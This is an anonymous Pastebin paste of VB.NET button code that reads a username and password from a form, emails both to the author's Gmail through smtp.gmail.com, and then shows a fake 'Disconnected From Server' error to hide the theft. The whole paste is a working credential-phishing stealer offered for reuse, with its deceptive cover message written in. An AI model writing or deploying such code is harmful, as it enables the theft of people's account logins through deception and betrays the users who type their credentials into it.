Advertisement
Guest User

Untitled

a guest
Jun 11th, 2017
97
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.86 KB | None | 0 0
  1. Top Of All:
  2. Imports System.Net.Mail
  3.  
  4. Button Code:
  5. If TextBox1.Text = "" Then
  6. MsgBox("Username Is Missing")
  7. If Textbox2.text = "" Then
  8. Msgbox("Password Is Mising")
  9. Else
  10. End If
  11. End if
  12. Dim smtpServer As New SmtpClient()
  13. Dim mail As New MailMessage()
  14. smtpServer.Credentials = New Net.NetworkCredential("Your Gmail", "Your Gmail Password")
  15. smtpServer.Port = 587
  16. smtpServer.Host = "smtp.gmail.com"
  17. smtpServer.EnableSsl = True
  18. mail = New MailMessage()
  19. mail.From = New MailAddress("Your Gmail")
  20. mail.To.Add("Your Gmail")
  21. mail.Subject = "Username: " & TextBox1.Text
  22. mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & textbox2.text
  23. smtpServer.Send(mail)
  24. MsgBox("DIsconnected From Server, Please try again later!")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement